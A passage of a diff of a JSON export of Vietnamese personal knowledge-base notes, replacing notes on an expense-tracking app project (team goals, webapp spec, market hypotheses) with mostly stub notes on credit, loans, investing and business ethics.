Hàn Quốc, cho rằng fintech HQ đã phát triển trước mình 10 năm rồi, bây giờ tham gia vào thì không dễ ăn. Lúc nói điều này thì vào tháng 10/2023. Giờ tình hình có thể thay đổi.", + "Toàn bộ nội dung": "Khái niệm:: [[Nợ]], [[Điểm tín dụng]]\n[[Có những người dù thực sự thấy không có khả năng trả nợ vẫn chấp nhận vay app đen còn hơn mất điểm tín dụng]]\n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:59:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3t" }, { - "Tiêu đề": "Hướng phát triển", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Chương trình quản lý chi tiêu cá nhân/Tài liệu/Hướng phát triển", + "Tiêu đề": "Điểm tín dụng", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền/Ngân hàng, điểm tín dụng/Điểm tín dụng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "tiền này sẽ có khoản để duy trì hệ thống và để quỹ tiếp tục làm sản phẩm và chi phí mkt\r\nđến giai đoạn ổn định, sản phẩm đủ flow thì mình cứ bàn tiếp về %\r\ne muốn đúng hướng rồi tiếp tục mình chia lợi nhuận ntn để phù hợp\r\nthì đấy là giai đoạn về sau. Ae nói chuyện cf rồi, e thì muốn sản phẩm mình làm ra có người đón nhận, tiền sẽ đi theo sau và phát triển tiếp\r\n\r\n\r\nNếu sản phẩm thành công thì sẽ thuê tư vấn để chia phần trăm: [FPTS Dịch vụ Tư vấn Cổ phần hóa](https://www.fpts.com.vn/san-pham-dich-vu/tu-van-doanh-nghiep/dich-vu-ngan-hang-dau-tu/san-pham-dich-vu/tu-van-co-phan-hoa/)\r\n\r\n## Đội ngũ\r\n### Nhật\r\n| Tiêu chí | Trọng số |\r\n| --------------------------------------------- | -------- |\r\n| [[Kendy cần gì\\|Giúp Trí hết căng thẳng]] | 60% |\r\n| Không bị ép phải hoàn thành kịp hạn chót | 35% |\r\n| Thấy công việc giúp mở rộng thêm nhiều cơ hội | 5% |\r\n\r\n### Huy\r\nHiện đang làm trợ giảng cho [UX Foundation](https://uxfoundation.vn/). Anh founder cũng là mentor.\r\n[Facebook](https://www.facebook.com/huyvietluu99)\r\n\r\nMuốn đánh tập mass, ai cũng sử dụng được, vào phát ghi luôn\r\n\r\n| Tiêu chí | Trọng số |\r\n| --------------------------------- | -------- |\r\n| Sản phẩm làm ra có người đón nhận | 100% |\r\n\r\n## Tiêu chí tuyển người mới\r\n- [ ] Hiểu về nhóm\r\n- [ ] Hiểu cách sử dụng sản phẩm \r\n- [ ] Có động lực phát triển sản phẩm\r\n- [ ] Tối thiểu 2 tuần cập nhật những gì mình đã làm và những khó khăn của mình", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-01T13:33:00.000Z", - "Ngày cập nhật": "2024-08-01T13:59:00.000Z", + "Ngày tạo": "2024-08-31T06:33:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3u" }, { - "Tiêu đề": "Đặc tả yêu cầu cho webapp", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Chương trình quản lý chi tiêu cá nhân/Đặc tả yêu cầu cho webapp", + "Tiêu đề": "Vay tiền", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Vay tiền", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Mô tả chung\r\n- **Nhu cầu:** thử nghiệm thị trường cho [[Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ]]\r\n- **Giải pháp:** tạo webapp \r\n\r\nSau khi xong sẽ marketing, để cho người dùng dùng thử. Huy sẽ thử với cộng đồng của mình trước. Nếu có phản hồi tốt sẽ mở ra các gói dùng thử.\r\n\r\n## Yêu cầu\r\n### Yêu cầu chức năng\r\n- ❓Ghi chép cần tổng hợp được\r\n- Cho dùng thử không cần login\r\n- Login cho người dùng trả phí\r\n- ❓Biểu đồ flow ko gãy\r\n\r\n### Yêu cầu giao diện \r\n\r\n### Yêu cầu phi chức năng\r\n- Refactor API trên server\r\n- Thời gian khởi động dưới 5s\r\n\r\n## Thời gian hoàn thành và giá\r\n```mermaid\r\ngantt\r\ndateFormat D/M H:m\r\naxisFormat %d/%m\r\ntitle Biểu đồ mẫu\r\n\r\nsection Phần chính\r\nRefactor API trên server : 8/1 9:00, 3d\r\nGhi chép cần tổng hợp được : 5d \r\nBiểu đồ : 3d\r\n\r\nsection Phần cho khách mua\r\nTrang login : 5d \r\nTrang bán hàng : 3d\r\n```\r\nThời gian hoàn thành dự kiến (giả sử ngày làm 10 tiếng): \r\n- Cho từng chức năng (bottom-up): 1 tuần nếu chưa có sẵn kiến thức về chức năng đó, 2 ngày nếu đã có sẵn kiến thức\r\n- Cho toàn bộ dự án (top-down): 20 ngày\r\n\r\n> [!Tip] Hiểu biết sâu\r\n> - [Định luật 90-90: 90% lượng code ban đầu tốn 90% thời gian lập trình. 10% lượng code còn lại tốn thêm 90% thời gian lập trình]() \r\n> - [Định luật Hofstadter: Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ, kể cả khi bạn đã tính đến định luật Hofstadter]()\r\n> - [Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại]()\r\n \r\n## Cách thức trao đổi nhu cầu\r\nĐáp ứng được các mục tiêu của [[Nhật]], [[Kendy cần gì|Trí]] và [[Thịnh]]. Nếu không thì giá để Nhật làm là 200k/giờ hoặc $1000/tháng.\r\n\r\nXem thêm:: [[Lý do viết Trấn Kỳ]]\r\n\r\n## Nền tảng cần dùng\r\n- **Máy chủ:** Deno Deploy\r\n- **Cơ sở dữ liệu:** Deno KV\r\n- **Ngôn ngữ:** TypeScript\r\n- **Runtime:** Deno\r\n- **Framework:** Fresh\r\n- **UI:** DaisyUI, Tailwind \r\n\r\nNgôn ngữ TypeScript với runtime Deno là thích hợp nhất cho những app còn nhỏ\r\n\r\nNếu viết app điện thoại thì có thể dùng framework Capacitor để có thể viết một lần mà có cả app Android và iOS, nhưng như vậy thì có thể sẽ phải đổi runtime sang Node. \r\n\r\n## Thời hạn bảo hành phần mềm\r\nTuỳ vào loại vấn đề mà sẽ xem xét nó có phải là lỗi hay không. Nếu nó không phải là yêu cầu đã được thống nhất trước mà là tính năng mới thì tính phí theo giờ như bình thường.\r\n- Nếu lúc còn ít người dùng thì app không có vấn đề gì mà đến lúc người dùng tăng cao thì có vấn đề thì sẽ xét là một tính năng", + "Toàn bộ nội dung": "## Nơi thảo luận\r\n![](https://i.imgur.com/OtW4epu.png)\r\n\r\n[[Huy động nguồn tiền nhàn rỗi]]\r\n[[Cho vay lấy lãi]]\r\n[[Các dịch vụ cho vay]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T07:58:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3v" }, { - "Tiêu đề": "Giả thiết về giá trị của Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Giá trị của Trấn Kỳ/Giả thiết về giá trị của Trấn Kỳ", + "Tiêu đề": "Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Đầu tư/Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Người bận rộn không có thời gian phân loại dữ liệu nhưng cần có báo cáo chi tiết\r\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\r\n| --------------------------------------------------------------- | ---------------------------------------------------------------------------------- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\r\n| Việc phân loại vào tại thời điểm diễn ra giao dịch rất nhức đầu | Không cần phải phân loại dữ liệu thủ công mà vẫn có báo cáo giao dịch đáng tin cậy | Họ thiết lập được Trấn Kỳ | [Giới thiệu về Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8FTr%E1%BA%A5n%20K%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+K%E1%BA%BF+ho%E1%BA%A1ch+ph%C3%A1t+tri%E1%BB%83n+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=th%C3%A0nh+ph%E1%BA%A9m), [Hướng dẫn sử dụng Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3%2Fh%C6%B0%E1%BB%9Bng%20d%E1%BA%ABn%20s%E1%BB%AD%20d%E1%BB%A5ng%20tr%E1%BA%A5n%20k%E1%BB%B3%2F?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+K%E1%BA%BF+ho%E1%BA%A1ch+ph%C3%A1t+tri%E1%BB%83n+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=th%C3%A0nh+ph%E1%BA%A9m) |\r\n\r\n# Người làm phát triển sản phẩm, khởi nghiệp, dự án\r\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\r\n| ------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------- |\r\n| Việc phải phân loại dữ liệu thủ công lấy đi thời gian để làm những việc ở cấp độ cao hơn như lập kế hoạch, sáng tạo nội dung | Sự phân loại các giả thiết và nhu cầu của các bên liên quan một cách nhanh chóng, chính xác và rẻ hơn AI | Có thể phân loại ý tưởng, giả thuyết, khám phá về người dùng, các bên liên quan theo một hệ thống phân loại cố định | Cách Kendy/Quả Cầu đã tự động hoá việc phân loại ý tưởng như thế nào |\r\n| Không nhìn thấy trực tiếp cách tổ chức dữ liệu thế nào | Các tài liệu mở để họ tham khảo cách sử dụng Obsidian vào việc quản lý dự án | | [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]] |\r\n\r\n# Người làm NLP, AI\r\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\r\n| --------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------- | ------------------------- |\r\n| Các khái niệm như chiều, khối dữ liệu, tensor chưa đủ chấn động | Cách để tiếp xúc với tensor bằng thị giác (aka nhìn thấy tensor bằng mắt thường): tensor là các phép quay vật thể trong không gian | Việc giải thích các khái niệm này bằng hình học xạ ảnh làm họ thấy thú vị | [[Mô hình xử lý dữ liệu]] |\r\n\r\n# Người cần rèn luyện kỹ năng, phát triển bản thân\r\n\r\n\r\n# Người cần tìm thêm sự thú vị hoặc ý nghĩa trong cuộc sống\r\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\r\n| ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------- |\r\n| Việc sống để kiếm tiền vô vị hoặc vô nghĩa quá, mà họ không biết phải làm sao | Sự bất ngờ, thách thức hoặc ý nghĩa. Kể cả khi họ không cảm thấy cuộc sống vô vị hoặc vô nghĩa và không đòi hỏi thêm sự thú vị và ý nghĩa, thì sự thú vị và ý nghĩa vẫn tìm đến họ | Việc tham gia một hoạt động cộng đồng đem lại cho họ những bất ngờ, thử thách và ý nghĩa | [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]] |\r\n| Thấy rằng không phải lúc nào tiền cũng là giải pháp cho mọi vấn đề nhưng không biết phải thoát ra khỏi nó/làm nó tuyệt vời hơn như thế nào | Bằng chứng cho thấy một dự án mở từ đầu đến cuối vẫn có thể tạo ra sự bền vững về tài chính | Ứng dụng thành công khoa học phức hợp vào việc quản trị tổ chức để có thể điều phối được các dòng chảy nhu cầu để chúng tự đáp ứng được với nhau | Mạng kết nối nhu cầu |\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\n[[Việc thay đổi mối quan hệ từ người làm chủ – nhân viên sang nhà đầu tư – người sáng lập phù hợp hơn với những công việc đòi hỏi sự sáng tạo]] \r\nNguồn:: [[Paul Graham]], [What Business Can Learn from Open Source](http://www.paulgraham.com/opensource.html)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T10:27:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3w" }, { - "Tiêu đề": "Bài giới thiệu Trấn Kỳ được nhiều người chia sẻ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Khả năng vận hành/Bài giới thiệu Trấn Kỳ được nhiều người chia sẻ", + "Tiêu đề": "Đầu tư thì có khả năng mất trắng. Còn kinh doanh thì có thể lỗ nhưng không đến nỗi mất trắng", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Ngành tài chính/Đầu tư/Đầu tư thì có khả năng mất trắng. Còn kinh doanh thì có thể lỗ nhưng không đến nỗi mất trắng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Kết quả: chủ yếu chỉ có những nhóm:\r\n- [[J2TEAM]]\r\n- Dev ơi mình đi đâu thế\r\n- Phân tích và xử lý dữ liệu: 29 react\r\nlà được nhiều like và share. Nhưng thành phần chỉ là những người tò mò\r\n\r\nĐến cả web bị lỗi mà suốt thời gian qua không ai báo lỗi\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-09-06T08:06:00.000Z", "id": "3x" }, { - "Tiêu đề": "Giả thiết về khả năng vận hành Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Khả năng vận hành/Giả thiết về khả năng vận hành Trấn Kỳ", + "Tiêu đề": "Việc tham gia vào nền kinh tế quà tặng sẽ giúp xây dựng thương hiệu", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Việc tham gia vào nền kinh tế quà tặng sẽ giúp xây dựng thương hiệu", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Tự vận hành mà không cần quan tâm\r\n\t- Người dùng tự tìm đến mà không cần quảng cáo\r\n\t\t- Sản phẩm phù hợp thị trường\r\n- Có tiền để trả\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-07-30T05:11:00.000Z", "id": "3y" }, { - "Tiêu đề": "Cứ 13 reach thì có 1 link click", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Thành phẩm/Cứ 13 reach thì có 1 link click", + "Tiêu đề": "Bán hàng bằng sự sợ hãi, nhưng lại xem đó là giọt mồ hôi quý giá", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Bán hàng bằng sự sợ hãi, nhưng lại xem đó là giọt mồ hôi quý giá", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đăng trên page QC reach 91, link click 7\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-31T09:23:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-07-01T08:55:00.000Z", + "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "3z" }, { - "Tiêu đề": "Cứ 20 người học thì có 500k", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Thành phẩm/Cứ 20 người học thì có 500k", + "Tiêu đề": "Con người hay công cụ mới là vấn đề", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Con người hay công cụ mới là vấn đề", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-31T09:35:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "3-" }, { - "Tiêu đề": "Cách các công ty nhập liệu hoạt động", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Thị trường/Cách các công ty nhập liệu hoạt động", + "Tiêu đề": "Lách luật là phạm luật một cách đúng luật", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Lách luật là phạm luật một cách đúng luật", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# How large is the market of text data entry classification/annotation? And how do data entry outsourcing companies work?\r\nIn my understanding, structuring unstructured data is a necessary activity in our life. For example, if you want to have a financial report of what you buy this month, you first need to write down your transaction, like `fish 50k`. This is raw, unstructured data. Then at the end of the month you need to label/annotate/classify the data like this:\r\n\r\n* Object: `fish`\r\n* Type of Object: `food`\r\n* Place of transaction: `market`\r\n* Type of place of transaction: `offline`\r\n* Consumer: `myself`\r\n* Type of consumer: `myself`\r\n* Price: `50000 VND`\r\n\r\nAnd that's just one piece of input data. Imagine how large the data that specialized companies or projects (medical, law, finance, etc.) need to handle. In my understanding, their options are:\r\n\r\n* Have the staffs to do that manually, or\r\n* Have a dedicated data entry clerk role, or\r\n* Outsource that to a data entry company, or\r\n* Outsource that to a data entry freelancer, or\r\n* Outsource the automation task to a freelance programmer, or\r\n* Buy similar solutions from big data or information system companies\r\n\r\nNow, I wrote an app to automate this process. Technically ChatGPT can also do this, but its approach is statistical-based, while this app's approach is rule-based. If the raw data is just keywords, then this app is much faster, cheaper and more accurate than ChatGPT.\r\n\r\nAnyhow, with this app I guess I can work on multiple data entry jobs at once. So my options are either as a data entry freelancer or an employee of an outsourcing data entry company.\r\n\r\nIt will be easy as long as the clients only care about the final result. However, I have no insight on outsourcing data entry companies. From what I got, it's likely that they have a dedicated system to manage all data entry tasks. I guess I can only get benefit if:\r\n\r\n* They haven't implemented automatic classification system, \r\n* Raw data from the system can be copy-pasted to outside \r\n* Resulted data from outside of the system can be copy-pasted into it\r\n* The task they give me is only about classify/annotate text raw data\r\n* I can work online. (Or if I must work offline, then at least there is no overseer observes me, which I guess it's not possible.) \r\n\r\nI've tried to apply to them to gain more insight but haven't got any success. I'm still in my way to look for such company.\r\n\r\nIn general, do you know how large the market of text data entry keyword detection and classification/annotation currently is? And how do data entry outsourcing companies work?\r\n", + "Toàn bộ nội dung": "Để trả lời câu hỏi \"Liệu lách luật là phạm luật hay làm đúng luật?\", thì phải trả lời được câu hỏi \"Luật nên được diễn giải thế nào?\". Nó nên được diễn giải theo từ ngữ, hay theo ý định ban đầu của người viết luật?\r\n\r\nBài chi tiết:: [Nguyên tắc giải thích pháp luật là gì? Có những nguyên tắc nào?](https://luatminhkhue.vn/nguyen-tac-giai-thich-phap-luat.aspx)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "3_" }, { - "Tiêu đề": "Giả thiết về thị trường của nền kinh tế phi chính thức", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Thị trường/Giả thiết về thị trường của nền kinh tế phi chính thức", + "Tiêu đề": "Người bán hàng giống như giao diện giọng nói của một cái máy hơn là một con người thật", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Người bán hàng giống như giao diện giọng nói của một cái máy hơn là một con người thật", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Người lương thiện kiệt quệ vì nợ có phải là một thất bại của thị trường không?\r\n- Đó có phải cũng là những thị trường chưa ai đụng tới không?\r\n- \r\n\r\nThứ họ cần là hiệu ứng mạng lưới? Cũng có những nhà đầu tư vào [[Nền kinh tế xanh]], [[Nền kinh tế chăm sóc]]\r\n[[Nền kinh tế phi chính thức bao gồm các hoạt động kinh tế không có đăng ký về mặt pháp lý, không có số liệu thống kê và không được kiểm soát bởi nhà nước]]\r\nTại sao chỉ có nhà nước mới giải quyết được chuyện này? Sao ko có các tổ chức dân sự có nguồn từ nước ngoài mà giống như CEP? \r\n\r\n[[Có những lúc đầu tư vào một người để họ tạo ra sản phẩm của họ sẽ đem lại nhiều lợi nhuận hơn trả lương cho họ để họ làm cho sản phẩm của mình]]\r\n\r\n[[Các câu hỏi về việc thành lập quỹ tín dụng, nền kinh tế phi chính thức, bản chất CSR của doanh nghiệp và tâm lý con người về tiền]]\r\n", + "Toàn bộ nội dung": "Nó bắt chước tương tác xã hội, tạo sự đồng cảm nhưng không vì mục đích đó\r\nNguồn:: [The Telemarketer Singularity](https://archive.ieet.org/articles/rinesi20150806.html)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "40" }, { - "Tiêu đề": "Thị trường phần mềm hạch toán tự động", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Thị trường/Thị trường phần mềm hạch toán tự động", + "Tiêu đề": "Thấy việc trả lương là đã đủ để NV phải cống hiến cho mình", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Thấy việc trả lương là đã đủ để NV phải cống hiến cho mình", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Phức tạp\r\n- Phụ thuộc vào tính năng có sẵn\r\n- Tốn tiền\r\n\r\n\r\n\r\n\r\n![https://www.youtube.com/watch?v=q1elwHJq3-Y](https://www.youtube.com/watch?v=q1elwHJq3-Y) \r\n", + "Toàn bộ nội dung": "- Trách nhân viên ko muốn bỏ tâm trí vào công việc, không cảm thấy có trách nhiệm cầm tay chỉ việc. Đòi hỏi nhân viên phải thay đổi tư duy, đừng đòi hỏi ở công ty\r\n- Chưa thấy một nhân viên nào có tư duy luồn lách mà vươn lên được\r\n\r\n[[Tiền là một động lực ngoại sinh cực kỳ tốt]], nhưng [[Sự cống hiến là một động lực nội sinh]]. Không thể đáp ứng \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-07-01T09:07:00.000Z", + "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "41" }, { - "Tiêu đề": "Giả thiết về thái độ người dùng", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Tiếp nhận người dùng/Giả thiết về thái độ người dùng", + "Tiêu đề": "Tài nguyên", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Tài nguyên", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Việc phải có một báo cáo chi tiết là quan trọng không thể bỏ qua\r\n- Việc phải phân loại dữ liệu thủ công lấy đi thời gian để làm những việc ở cấp độ cao hơn như lập kế hoạch, sáng tạo nội dung\r\n- Hiểu được rằng AI không ứng dụng được trong trường hợp này\r\n- Hiểu được rằng mình đang đòi hỏi những thứ mà các phần mềm no code không đáp ứng được\r\n- Sẵn sàng học lập trình nếu có người hướng dẫn, hoặc chấp nhận thuê\r\n\r\n[[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Nhu cầu phân loại tự động/Mục tiêu và câu hỏi nghiên cứu người dùng cá nhân cần phân loại tự động]]\r\n", + "Toàn bộ nội dung": "[“Siêu nhân” giải cứu đồ ăn – Foodbank Vietnam](https://foodbankvietnam.com/sieu-nhan-giai-cuu-do-an/)\r\n[Further Resources — Devilcorp.org](https://www.devilcorp.org/further-resources)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-07-27T11:33:00.000Z", "id": "42" }, { - "Tiêu đề": "Giả thiết về tiếp nhận của người đọc", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/2 Giả thiết/Tiếp nhận người dùng/Giả thiết về tiếp nhận của người đọc", + "Tiêu đề": "Việc khai thác điểm yếu của con người đem lại lợi nhuận", + "URL": "https://kiếmtiền.quảcầu.cc/⚡Hiểu biết sâu/Đạo đức, pháp luật. Chủ nghĩa tân tự do/Việc khai thác điểm yếu của con người đem lại lợi nhuận", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Giới thiệu Trấn Kỳ\r\n- Thấy nó giúp tiết kiệm thời gian của mình\r\n# Lấy code\r\n- Thấy việc mình được định giá sản phẩm là thú vị, chưa thấy ai làm\r\n- Thấy việc mình được định giá sản phẩm là thực sự nghĩ cho mình\r\n- Thấy nút \"thú vị\" thú vị đủ để bấm vô tiếp\r\n# [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]]\r\n- Hiểu được ý tưởng\r\n- Thấy ý tưởng này là một thứ có ý nghĩa\r\n- Thấy ý tưởng này kích thích những thử thách, giúp ứng dụng những kỹ năng mình có trong môi trường mới\r\n- Thấy tò mò với những kế hoạch\r\n- Thấy việc tham gia đáp ứng được những nhu cầu lớn trước mắt mình\r\n- Việc chuyển qua website khác không làm họ thấy có vấn đề\r\n- Thấy ý tưởng này là một giải pháp cho những vấn đề tiền không đáp ứng được\r\n\r\n# [[Lý do viết Trấn Kỳ]]\r\n- Hiểu được sự khác biệt giữa Trấn Kỳ với các phần mềm quản lý thu chi cá nhân khác\r\n- Hiểu rằng mình đang đòi hỏi những thứ mà các phần mềm no code không đáp ứng được\r\n- Hiểu được 